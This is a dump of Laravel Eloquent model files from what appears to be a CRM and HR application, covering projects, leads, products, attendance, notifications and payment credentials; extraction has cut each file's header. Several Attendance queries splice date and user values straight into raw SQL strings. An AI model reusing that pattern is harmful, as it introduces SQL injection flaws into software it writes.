->where('project_members.user_id', $employeeId) ->select('projects.*') ->get(); } public function scopeCompleted($query) { return $query->where('completion_percent', '100'); } public function scopeInProcess($query) { return $query->where('status', 'in progress'); } public function scopeOnHold($query) { return $query->where('status', 'on hold'); } public function scopeFinished($query) { return $query->where('status', 'finished'); } public function scopeNotFinished($query) { return $query->where('status', '<>', 'finished'); } public function scopeNotStarted($query) { return $query->where('status', 'not started'); } public function scopeCanceled($query) { return $query->where('status', 'canceled'); } public function scopeOverdue($query) { $setting = company(); return $query->where('completion_percent', '<>', '100') ->where('deadline', '<', Carbon::today()->timezone($setting->timezone)); } public function getIsProjectAdminAttribute() { if (auth()->user() && $this->project_admin == user()->id) { return true; } return false; } public function pinned() { $userId = UserService::getUserId(); $pin = Pinned::where('user_id', $userId)->where('project_id', $this->id)->first(); if (!is_null($pin)) { return true; } return false; } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionProject(): HasMany { return $this->hasMany(MentionUser::class, 'project_id'); } public function departments(): HasMany { return $this->hasMany(ProjectDepartment::class, 'project_id'); } public function projectDepartments(): BelongsToMany { return $this->belongsToMany(Team::class, 'project_departments')->using(ProjectDepartment::class); } } Models/LeadFollowUp.php000064400000005072150325104510011035 0ustar00 'datetime', 'created_at' => 'datetime', ]; public function lead(): BelongsTo { return $this->belongsTo(Lead::class); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by'); } } Models/PermissionType.php000064400000002436150325104510011473 0ustar00where('name', $type); } } Models/TaskTag.php000064400000001162150325104510010032 0ustar00belongsTo(TaskTagList::class, 'tag_id'); } } Models/TicketActivity.php000064400000010506150325104510011436 0ustar00belongsTo(User::class); } public function assignedTo(): BelongsTo { return $this->belongsTo(User::class, 'assigned_to'); } public function channel(): BelongsTo { return $this->belongsTo(TicketChannel::class); } public function group(): BelongsTo { return $this->belongsTo(TicketGroup::class); } public function ticketType(): BelongsTo { return $this->belongsTo(TicketType::class, 'type_id'); } public function ticket(): BelongsTo { return $this->belongsTo(Ticket::class); } public function details(): Attribute { return Attribute::make( get: function () { return match($this->type) { 'create' => __('modules.tickets.activity.create'), 'reply' => __('modules.tickets.activity.reply', ['userName' => $this->user?->name]), 'note' => __('modules.tickets.activity.note', ['userName' => $this->user?->name]), 'group' => __('modules.tickets.activity.group', ['groupName' => $this->group?->group_name ?: '--']), 'assign' => __('modules.tickets.activity.assign', ['userName' => $this->assignedTo?->name ?: '--']), 'priority' => __('modules.tickets.activity.priority', ['priority' => __('app.'.$this->priority)]), 'type' => __('modules.tickets.activity.type', ['type' => $this->ticketType?->type ?: '--']), 'channel' => __('modules.tickets.activity.channel', ['channel' => $this->channel?->channel_name ?: '--']), 'status' => __('modules.tickets.activity.status', ['status' => __('app.'.$this->status)]), default => '', }; } ); } } Models/TaskFile.php000064400000005605150325104510010204 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(TaskFile::FILE_PATH . '/' . $this->task_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (TaskFile::FILE_PATH . '/' . $this->task_id . '/' . $this->hashname); } } Models/Product.php000064400000021464150325104510010123 0ustar00 $leads * @property-read int|null $leads_count * @property-read \App\Models\UnitType|null $unit * @method static \Illuminate\Database\Eloquent\Builder|Product whereUnitId($value) * @property-read \Illuminate\Database\Eloquent\Collection $orderItem * @property-read int|null $order_item_count * @property-read \Illuminate\Database\Eloquent\Collection $leads * @property-read \Illuminate\Database\Eloquent\Collection $orderItem * @property string|null $purchase_price * @property string $purchase_information * @property string $track_inventory * @property string|null $sales_description * @property string|null $purchase_description * @property int|null $opening_stock * @property float|null $rate_per_unit * @property string|null $sku * @property string|null $type * @property string $status * @property-read \Illuminate\Database\Eloquent\Collection $leads * @property-read \Illuminate\Database\Eloquent\Collection $orderItem * @method static \Illuminate\Database\Eloquent\Builder|Product whereOpeningStock($value) * @method static \Illuminate\Database\Eloquent\Builder|Product wherePurchaseDescription($value) * @method static \Illuminate\Database\Eloquent\Builder|Product wherePurchaseInformation($value) * @method static \Illuminate\Database\Eloquent\Builder|Product wherePurchasePrice($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereRatePerUnit($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereSalesDescription($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereSku($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereStatus($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereTrackInventory($value) * @method static \Illuminate\Database\Eloquent\Builder|Product whereType($value) * @property-read \Illuminate\Database\Eloquent\Collection $inventory * @property-read int|null $inventory_count * @mixin \Eloquent */ class Product extends BaseModel { use HasCompany; use HasFactory, CustomFieldsTrait; protected $table = 'products'; const FILE_PATH = 'products'; protected $fillable = ['name', 'price', 'description', 'taxes']; protected $appends = ['total_amount', 'image_url', 'download_file_url', 'image']; protected $with = ['tax']; const CUSTOM_FIELD_MODEL = 'App\Models\Product'; public function getImageUrlAttribute() { if (app()->environment(['development','demo']) && str_contains($this->default_image, 'http')) { return $this->default_image; } return ($this->default_image) ? asset_url_local_s3(Product::FILE_PATH . '/' . $this->default_image) : ''; } public function getImageAttribute() { if($this->default_image){ return str($this->default_image)->contains('http') ? $this->default_image : (Product::FILE_PATH . '/' . $this->default_image); } return $this->default_image; } public function getDownloadFileUrlAttribute() { return ($this->downloadable_file) ? asset_url_local_s3(Product::FILE_PATH . '/' . $this->downloadable_file) : null; } public function tax(): BelongsTo { return $this->belongsTo(Tax::class)->withTrashed(); } public function leads(): BelongsToMany { return $this->belongsToMany(Deal::class, 'lead_products'); } public static function taxbyid($id) { return Tax::where('id', $id)->withTrashed(); } public function category(): BelongsTo { return $this->belongsTo(ProductCategory::class, 'category_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function subCategory(): BelongsTo { return $this->belongsTo(ProductSubCategory::class, 'sub_category_id'); } public function getTotalAmountAttribute() { if (!is_null($this->price) && !is_null($this->tax)) { return (int)$this->price + ((int)$this->price * ((int)$this->tax->rate_percent / 100)); } return ''; } public function files(): HasMany { return $this->hasMany(ProductFiles::class, 'product_id')->orderByDesc('id'); } public function getTaxListAttribute() { $productItem = Product::findOrFail($this->id); $taxes = ''; if ($productItem && $productItem->taxes) { $numItems = count(json_decode($productItem->taxes)); if (!is_null($productItem->taxes)) { foreach (json_decode($productItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } public function orderItem(): HasMany { return $this->hasMany(OrderItems::class, 'product_id'); } public function inventory() { /** @phpstan-ignore-next-line */ return $this->hasMany(PurchaseStockAdjustment::class, 'product_id'); } } Models/EmployeeActivity.php000064400000001637150325104510011777 0ustar00belongsTo(User::class, 'emp_id')->withoutGlobalScope(ActiveScope::class); } } Models/EmailNotificationSetting.php000064400000020245150325104510013433 0ustar00 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Expense/Added by Admin', 'slug' => 'new-expenseadded-by-admin', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Expense/Added by Member', 'slug' => 'new-expenseadded-by-member', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Expense Status Changed', 'slug' => 'expense-status-changed', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Support Ticket Request', 'slug' => 'new-support-ticket-request', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Leave Application', 'slug' => 'new-leave-application', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Task Completed', 'slug' => 'task-completed', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Task Status Changed', 'slug' => 'task-status-updated', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Invoice Create/Update Notification', 'slug' => 'invoice-createupdate-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Discussion Reply', 'slug' => 'discussion-reply', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Product Purchase Request', 'slug' => 'new-product-purchase-request', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Lead notification', 'slug' => 'lead-notification', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Order Create/Update Notification', 'slug' => 'order-createupdate-notification', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'User Join via Invitation', 'slug' => 'user-join-via-invitation', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Follow Up Reminder', 'slug' => 'follow-up-reminder', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'User Registration/Added by Admin', 'slug' => 'user-registrationadded-by-admin', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Employee Assign to Project', 'slug' => 'employee-assign-to-project', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'New Notice Published', 'slug' => 'new-notice-published', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'User Assign to Task', 'slug' => 'user-assign-to-task', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'yes', 'setting_name' => 'Birthday notification', 'slug' => 'birthday-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Payment Notification', 'slug' => 'payment-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Employee Appreciation', 'slug' => 'appreciation-notification', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Holiday Notification', 'slug' => 'holiday-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Estimate Notification', 'slug' => 'estimate-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Event Notification', 'slug' => 'event-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Message Notification', 'slug' => 'message-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Project Mention Notification', 'slug' => 'project-mention-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Task Mention', 'slug' => 'task-mention-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Shift Assign Notification', 'slug' => 'shift-assign-notification', ], [ 'send_email' => 'no', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Daily Schedule Notification', 'slug' => 'daily-schedule-notification', ] ]; public static function userAssignTask() { return EmailNotificationSetting::where('slug', 'user-assign-to-task')->first(); } } Models/Skill.php000064400000002172150325104510007554 0ustar00belongsTo(ShiftRotation::class, 'employee_shift_rotation_id', 'id'); } public function shift(): BelongsTo { return $this->belongsTo(EmployeeShift::class, 'employee_shift_id', 'id'); } } Models/Social.php000064400000002203150325104510007703 0ustar00slack_logo)) { return $this->company->logo_url; } return asset_url_local_s3('slack-logo/' . $this->slack_logo); } public static function setting() { return slack_setting(); } } Models/CustomModulePermission.php000064400000000762150325104510013172 0ustar00 $mentionNote * @property-read int|null $mention_note_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionNote * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class ProjectNote extends BaseModel { public function members(): HasMany { return $this->hasMany(ProjectUserNote::class, 'project_note_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function noteUsers(): BelongsToMany { return $this->belongsToMany(User::class, 'project_user_notes'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionNote(): HasMany { return $this->hasMany(MentionUser::class, 'project_note_id'); } } Models/UserchatFile.php000064400000006034150325104510011055 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(UserchatFile::FILE_PATH . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (UserchatFile::FILE_PATH . '/' . $this->hashname); } public function chat(): BelongsTo { return $this->belongsTo(UserChat::class, 'users_chat_id'); } } Models/TaskCommentEmoji.php000064400000003153150325104510011707 0ustar00belongsTo(TaskComment::class); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } } Models/InvoicePaymentDetail.php000064400000002061150325104510012550 0ustar00hasMany(Invoice::class); } public function company() { return $this->belongsTo(Company::class); } public function getImageUrlAttribute() { return ($this->image) ? asset_url_local_s3('offline-method/' . $this->image) : '-'; } public function maskedImageUrl(): Attribute { return Attribute::make( get: function () { return ($this->image) ? $this->generateMaskedImageAppUrl('offline-method/' . $this->image) : '-'; }, ); } } Models/BankTransaction.php000064400000006437150325104510011567 0ustar00 'datetime', ]; public function bankAccount(): BelongsTo { return $this->belongsTo(BankAccount::class, 'bank_account_id'); } } Models/DealHistory.php000064400000001725150325104510010730 0ustar00belongsTo(User::class, 'created_by')->withoutGlobalScope(ActiveScope::class); } public function dealStageFrom(): BelongsTo { return $this->belongsTo(PipelineStage::class, 'deal_stage_from_id'); } public function dealStageTo(): BelongsTo { return $this->belongsTo(PipelineStage::class, 'deal_stage_to_id'); } } Models/UserLeadboardSetting.php000064400000003270150325104510012550 0ustar00hasMany(ProductSubCategory::class, 'category_id'); } } Models/Attendance.php000064400000040761150325104510010552 0ustar00 'datetime', 'clock_out_time' => 'datetime', 'shift_end_time' => 'datetime', 'shift_start_time' => 'datetime', 'date' => 'datetime', ]; protected $appends = ['clock_in_date']; protected $guarded = ['id']; protected $with = ['company:id']; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function location(): BelongsTo { return $this->belongsTo(CompanyAddress::class, 'location_id'); } public function shift(): BelongsTo { return $this->belongsTo(EmployeeShift::class, 'employee_shift_id'); } public function getClockInDateAttribute() { return $this->clock_in_time?->timezone($this->company?->timezone)->toDateString(); } public static function attendanceByDate($date) { DB::statement('SET @attendance_date = ' . $date); return User::withoutGlobalScope(ActiveScope::class) ->leftJoin( 'attendances', function ($join) use ($date) { $join->on('users.id', '=', 'attendances.user_id') ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $date) ->whereNull('attendances.clock_out_time'); } ) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'designations.id', '=', 'employee_details.designation_id') ->onlyEmployee() ->select( DB::raw("( select count('atd.id') from attendances as atd where atd.user_id = users.id and DATE(atd.clock_in_time) = '" . $date . "' and DATE(atd.clock_out_time) = '" . $date . "' ) as total_clock_in"), DB::raw("( select count('atdn.id') from attendances as atdn where atdn.user_id = users.id and DATE(atdn.clock_in_time) = '" . $date . "' ) as clock_in"), 'users.id', 'users.name', 'attendances.clock_in_ip', 'attendances.clock_in_time', 'attendances.clock_out_time', 'attendances.late', 'attendances.half_day', 'attendances.working_from', 'designations.name as designation_name', 'users.image', DB::raw('@attendance_date as atte_date'), 'attendances.id as attendance_id' ) ->groupBy('users.id') ->orderBy('users.name', 'asc'); } public static function attendanceByUserDate($userid, $date) { DB::statement('SET @attendance_date = ' . $date); return User::withoutGlobalScope(ActiveScope::class) ->leftJoin( 'attendances', function ($join) use ($date) { $join->on('users.id', '=', 'attendances.user_id') ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $date); } ) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'designations.id', '=', 'employee_details.designation_id') ->onlyEmployee() ->select( DB::raw("( select count('atd.id') from attendances as atd where atd.user_id = users.id and DATE(atd.clock_in_time) = '" . $date . "' and DATE(atd.clock_out_time) = '" . $date . "' ) as total_clock_in"), DB::raw("( select count('atdn.id') from attendances as atdn where atdn.user_id = users.id and DATE(atdn.clock_in_time) = '" . $date . "' ) as clock_in"), 'users.id', 'users.name', 'attendances.clock_in_ip', 'attendances.clock_in_time', 'attendances.clock_out_time', 'attendances.late', 'attendances.half_day', 'attendances.working_from', 'designations.name as designation_name', 'users.image', DB::raw('@attendance_date as atte_date'), 'attendances.id as attendance_id' ) ->where('users.id', $userid)->first(); } public static function attendanceDate($date) { return User::with(['attendance' => function ($q) use ($date) { $q->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $date); }]) ->withoutGlobalScope(ActiveScope::class) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'designations.id', '=', 'employee_details.designation_id') ->onlyEmployee() ->select( 'users.id', 'users.name', 'users.image', 'designations.name as designation_name' ) ->groupBy('users.id') ->orderBy('users.name', 'asc'); } public static function attendanceHolidayByDate($date) { $holidays = Holiday::all(); $user = User::leftJoin( 'attendances', function ($join) use ($date) { $join->on('users.id', '=', 'attendances.user_id') ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $date); } ) ->withoutGlobalScope(ActiveScope::class) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'designations.id', '=', 'employee_details.designation_id') ->onlyEmployee() ->select( 'users.id', 'users.name', 'attendances.clock_in_ip', 'attendances.clock_in_time', 'attendances.clock_out_time', 'attendances.late', 'attendances.half_day', 'attendances.working_from', 'users.image', 'designations.name as job_title', 'attendances.id as attendance_id' ) ->groupBy('users.id') ->orderBy('users.name', 'asc') ->union($holidays) ->get(); return $user; } public static function userAttendanceByDate($startDate, $endDate, $userId) { $attendance = Attendance::without('company') ->join('users', 'users.id', '=', 'attendances.user_id') ->leftJoin('company_addresses', 'company_addresses.id', '=', 'attendances.location_id') ->whereBetween('attendances.clock_in_time', [$startDate->copy()->subDay(), $endDate->copy()->addDay()]) ->where('attendances.user_id', '=', $userId) ->orderBy('attendances.clock_in_time', 'desc') ->select('attendances.*', 'users.*', 'attendances.id as aId', 'company_addresses.location') ->get(); // Filter the attendance by date due to the timezone issue $period = CarbonPeriod::create($startDate, $endDate); $attendance = $attendance->filter(function ($item) use ($period) { foreach ($period as $date) { if ($item->clock_in_time->timezone(company()->timezone)->format('Y-m-d') == $date->timezone(company()->timezone)->format('Y-m-d')) { return true; } } return false; }); return $attendance; } public static function countDaysPresentByUser($startDate, $endDate, $userId) { $totalPresent = DB::select('SELECT count(DISTINCT DATE(attendances.clock_in_time) ) as presentCount from attendances where DATE(attendances.clock_in_time) >= "' . $startDate . '" and DATE(attendances.clock_in_time) <= "' . $endDate . '" and user_id="' . $userId . '" '); return $totalPresent[0]->presentCount; } public static function countDaysLateByUser($startDate, $endDate, $userId) { $totalLate = Attendance::whereBetween(DB::raw('DATE(attendances.`clock_in_time`)'), [$startDate->toDateString(), $endDate->toDateString()]) ->where('late', 'yes') ->where('user_id', $userId) ->select(DB::raw('count(DISTINCT DATE(attendances.clock_in_time) ) as lateCount')) ->first(); return $totalLate->lateCount; } public static function countHalfDaysByUser($startDate, $endDate, $userId) { $halfDay1 = Attendance::whereBetween(DB::raw('DATE(attendances.`clock_in_time`)'), [$startDate, $endDate]) ->where('user_id', $userId) ->where('half_day', 'yes') ->count(); $halfDay2 = Leave::where('user_id', $userId) ->where('leave_date', '>=', $startDate) ->where('leave_date', '<=', $endDate) ->where('status', 'approved') ->where('duration', 'half day') ->select('leave_date', 'reason', 'duration') ->count(); return $halfDay1 + $halfDay2; } // Get User Clock-ins by date public static function getTotalUserClockIn($date, $userId) { return Attendance::where(DB::raw('DATE(attendances.clock_in_time)'), $date) ->where('user_id', $userId) ->count(); } public static function getTotalUserClockInWithTime($startTime, $endTime, $userId) { return Attendance::whereBetween('clock_in_time', [$startTime->copy()->timezone(config('app.timezone')), $endTime->copy()->timezone(config('app.timezone'))]) ->where('user_id', $userId) ->count(); } // Attendance by User and date public static function attendanceByUserAndDate($date, $userId) { return Attendance::where('user_id', $userId) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $date) ->get(); } public function totalTime($startDate, $endDate, $userId, $format = null) { $attendanceActivity = Attendance::userAttendanceByDate($startDate, $endDate, $userId); $attendanceActivity = $attendanceActivity->reverse()->values(); $settingStartTime = Carbon::createFromFormat('H:i:s', attendance_setting()->shift->office_start_time, company()->timezone); $defaultEndTime = $settingEndTime = Carbon::createFromFormat('H:i:s', attendance_setting()->shift->office_end_time, company()->timezone); if ($settingStartTime->gt($settingEndTime)) { $settingEndTime->addDay(); } if ($settingEndTime->greaterThan(now()->timezone(company()->timezone))) { $defaultEndTime = now()->timezone(company()->timezone); } $totalTime = 0; foreach ($attendanceActivity as $key => $activity) { if ($key == 0) { $firstClockIn = $activity; $startTime = Carbon::parse($firstClockIn->clock_in_time)->timezone(company()->timezone); } $lastClockOut = $activity; if (!is_null($lastClockOut->clock_out_time)) { $endTime = Carbon::parse($lastClockOut->clock_out_time)->timezone(company()->timezone); } elseif ( ($lastClockOut->clock_in_time->timezone(company()->timezone)->format('Y-m-d') != now()->timezone(company()->timezone)->format('Y-m-d')) && is_null($lastClockOut->clock_out_time) && isset($startTime) ) { $endTime = Carbon::parse($startTime->format('Y-m-d') . ' ' . attendance_setting()->shift->office_end_time, company()->timezone); if ($startTime->gt($endTime)) { $endTime->addDay(); } } else { $endTime = $defaultEndTime; } $totalTime = $totalTime + $endTime->timezone(company()->timezone)->diffInMinutes($activity->clock_in_time->timezone(company()->timezone), true); } if ($format == 'H:i') { return intdiv($totalTime, 60) . ':' . ($totalTime % 60); } if ($format == 'm') { return $totalTime; } /** @phpstan-ignore-next-line */ return CarbonInterval::formatHuman($totalTime); } } Models/Session.php000064400000002143150325104510010117 0ustar00hasMany(Deal::class, 'status_id')->orderBy('column_priority'); } public function userSetting(): HasOne { return $this->hasOne(UserLeadboardSetting::class, 'pipeline_stage_id')->where('user_id', user()->id); } } Models/PaymentGatewayCredentials.php000064400000031047150325104510013616 0ustar00 'encrypted', 'live_razorpay_secret' => 'encrypted', 'sandbox_paypal_secret' => 'encrypted', 'test_stripe_secret' => 'encrypted', 'test_razorpay_secret' => 'encrypted', 'test_stripe_webhook_secret' => 'encrypted', 'paystack_secret' => 'encrypted', 'test_paystack_secret' => 'encrypted', 'mollie_api_key' => 'encrypted', 'payfast_merchant_key' => 'encrypted', 'authorize_transaction_key' => 'encrypted', 'square_access_token' => 'encrypted', 'test_flutterwave_secret' => 'encrypted', 'live_flutterwave_key' => 'encrypted', 'test_payfast_merchant_key' => 'encrypted', ]; public function getShowPayAttribute() { return in_array('active', [ $this->attributes['paypal_status'], $this->attributes['stripe_status'], $this->attributes['paystack_status'], $this->attributes['razorpay_status'], $this->attributes['mollie_status'], $this->attributes['authorize_status'], $this->attributes['flutterwave_status'], $this->attributes['square_status'], $this->attributes['payfast_status'] ]); } /** * @return bool * This is to show message on dashboard to change the webhhok url */ public function getShowPayWebhookAttribute() { return in_array('active', [ $this->attributes['paypal_status'], $this->attributes['stripe_status'], $this->attributes['paystack_status'], $this->attributes['razorpay_status'], $this->attributes['flutterwave_status'], $this->attributes['square_status'], $this->attributes['payfast_status'] ]); } } Models/EmployeeDocument.php000064400000005057150325104510011761 0ustar00belongsTo(User::class); } public function getDocUrlAttribute() { return asset_url_local_s3(EmployeeDocument::FILE_PATH . '/' . $this->user_id . '/' . $this->hashname); } } Models/Lead.php000064400000020357150325104510007350 0ustar00 $products * @property-read int|null $products_count * @property-read int|null $follow_up_date_next * @property-read int|null $follow_up_date_past * @mixin \Eloquent */ class Lead extends BaseModel { use Notifiable, HasFactory; use CustomFieldsTrait; use HasCompany; const CUSTOM_FIELD_MODEL = 'App\Models\Lead'; protected $appends = ['image_url', 'client_name_salutation']; protected $casts = [ 'salutation' => Salutation::class, ]; public function getImageUrlAttribute() { $gravatarHash = !is_null($this->email) ? md5(strtolower(trim($this->email))) : ''; return 'https://www.gravatar.com/avatar/' . $gravatarHash . '.png?s=200&d=mp'; } public function clientNameSalutation(): Attribute { return Attribute::make( get: fn($value) => ($this->salutation ? $this->salutation->label() . ' ' : '') . $this->client_name ); } /** * Route notifications for the mail channel. * * @param \Illuminate\Notifications\Notification $notification * @return string */ // phpcs:ignore public function routeNotificationForMail($notification) { return $this->email; } public function leadSource(): BelongsTo { return $this->belongsTo(LeadSource::class, 'source_id'); } public function category(): BelongsTo { return $this->belongsTo(LeadCategory::class, 'category_id'); } public function note(): BelongsTo { return $this->belongsTo(LeadNote::class, 'lead_id'); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id'); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by')->withoutGlobalScope(ActiveScope::class); } public function leadOwner(): BelongsTo { return $this->belongsTo(User::class, 'lead_owner')->withoutGlobalScope(ActiveScope::class); } public static function allLeads($contactId = null) { // Retrieve user's lead view permission $viewLeadPermission = user()->permission('view_lead'); // If the user has no permission to view leads if ($viewLeadPermission === 'none') { return collect(); } // Initialize lead query $leadsQuery = Lead::select('*')->orderBy('client_name'); if ($viewLeadPermission == 'owned') { $leadsQuery = $leadsQuery->where('lead_owner', user()->id); } if ($viewLeadPermission == 'added') { $leadsQuery = $leadsQuery->where('added_by', user()->id); } if ($viewLeadPermission == 'both') { $leadsQuery = $leadsQuery->where(function ($query) { $query->where('lead_owner', user()->id) ->orWhere('added_by', user()->id); }); } // Apply contact ID filter if provided if ($contactId) { $leadsQuery->where('id', $contactId); } // Retrieve leads return $leadsQuery->get(); } } Models/RecurringInvoice.php000064400000020251150325104510011751 0ustar00 'datetime', 'due_date' => 'datetime', 'next_invoice_date' => 'datetime', ]; protected $appends = ['total_amount', 'issue_on']; protected $with = ['client']; const ROTATION_COLOR = [ 'daily' => 'success', 'weekly' => 'info', 'bi-weekly' => 'warning', 'monthly' => 'secondary', 'quarterly' => 'light', 'half-yearly' => 'dark', 'annually' => 'success', ]; public function recurrings(): HasMany { return $this->hasMany(Invoice::class, 'invoice_recurring_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function items(): HasMany { return $this->hasMany(RecurringInvoiceItems::class, 'invoice_recurring_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id')->withoutGlobalScope(ActiveScope::class); } public function getTotalAmountAttribute() { if (!is_null($this->total) && !is_null($this->currency->currency_symbol)) { return $this->currency->currency_symbol . $this->total; } return ''; } public function getIssueOnAttribute() { if (is_null($this->issue_date)) { return ''; } return Carbon::parse($this->issue_date)->format('d F, Y'); } public function units(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/TicketReply.php000064400000006275150325104510010745 0ustar00 'datetime', ]; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function files(): HasMany { return $this->hasMany(TicketFile::class, 'ticket_reply_id'); } public function ticket(): BelongsTo { return $this->belongsTo(Ticket::class); } public function users(): BelongsToMany { return $this->belongsToMany(User::class, 'ticket_reply_users', 'ticket_reply_id', 'user_id'); } public function ticketReplyUsers(): HasMany { return $this->hasMany(TicketReplyUser::class, 'ticket_reply_id'); } } Models/EmergencyContact.php000064400000004305150325104510011730 0ustar00belongsTo(User::class); } } Models/WeeklyTimesheetEntries.php000064400000001075150325104510013141 0ustar00 'date:Y-m-d', ]; public function weeklyTimesheet(): BelongsTo { return $this->belongsTo(WeeklyTimesheet::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class); } } Models/Order.php000064400000013316150325104510007553 0ustar00belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function items(): HasMany { return $this->hasMany(OrderItems::class, 'order_id'); } public function payment(): HasMany { return $this->hasMany(Payment::class, 'invoice_id')->orderByDesc('paid_on'); } public function invoice(): HasOne { return $this->hasOne(Invoice::class, 'order_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function address(): BelongsTo { return $this->belongsTo(CompanyAddress::class, 'company_address_id'); } public static function lastOrderNumber() { return (int)Order::latest()->first()?->original_order_number ?? 0; } /* public function getOrderNumberAttribute() { return Str::upper(__('app.order')) . '#' .$this->attributes['order_number']; } */ public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function 